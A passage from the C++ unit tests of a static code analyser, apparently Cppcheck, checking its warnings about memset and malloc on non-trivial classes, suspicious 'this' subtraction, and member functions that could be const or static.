(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> 